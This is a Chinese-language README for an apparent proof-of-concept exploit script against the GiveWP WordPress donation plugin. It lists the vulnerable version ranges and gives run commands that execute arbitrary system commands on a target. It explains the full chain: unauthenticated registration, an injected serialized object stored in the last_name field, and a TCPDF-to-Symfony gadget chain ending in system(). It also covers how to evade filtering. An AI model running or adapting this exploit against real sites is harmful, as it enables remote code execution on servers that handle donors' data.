| 版本范围 | 是否可利用? |
|---|
<= 4.16.5.1 | 默认安装即可。一个已发布的表单,一个启用的网关。 |
4.16.6 至 4.16.7.1 | 可以,如果存在旧版(非 V3)表单。全新仅 V3 的安装则不可利用。 |
需要 Python 3.8+ 和 requests。
pip install requests
python cve-2026-82222.py http://127.0.0.1:8080
python cve-2026-82222.py http://127.0.0.1:8080 --check
python cve-2026-82222.py http://127.0.0.1:8080 42 -c id
python cve-2026-82222.py http://127.0.0.1:8080 -g offline
-c 默认为 id。命令中不能包含 < > & %;空格会被替换为 ${IFS}。
如果自动发现失败,请传入表单 ID。如果脚本无法找到已启用的网关,请传入 -g。
捐赠请求通常会返回 HTTP 500 或超时。这是正常现象。会话写入会先发生。system() 的输出位于下一个请求(/?give_action=view_receipt 等)中,而不是磁盘上的文件中。
其余参数请运行 python cve-2026-82222.py -h。
POST give_action=user_register。GiveWP 会创建账户并设置认证 Cookie。它不会检查 users_can_register。/wp-admin/profile.php 存储在 last_name 字段中。give_last。process-donation.php 从用户元数据中读取姓名,运行 maybeSafeUnserialize(allowed_classes => false),并将 __PHP_Incomplete_Class 写入 wp_give_sessions。PHP 在写入时会重新输出原始对象字节。TCPDF::__destruct() 会调用 call_user_func_array('system', [cmd])。标准输出包含在该响应中。TCPDF.__destruct()
-> Symfony Session.getIterator()
-> Give\TestData ProviderForwarder.__call()
-> call_user_func_array('system', [cmd])
pre_user_last_name 会去除 NUL 字符,因此恶意对象属性不会被破坏。反斜杠会被四倍化,以在 stripslashes_deep 和 removeBackslashes 处理后仍然保留。
MIT。参见 LICENSE。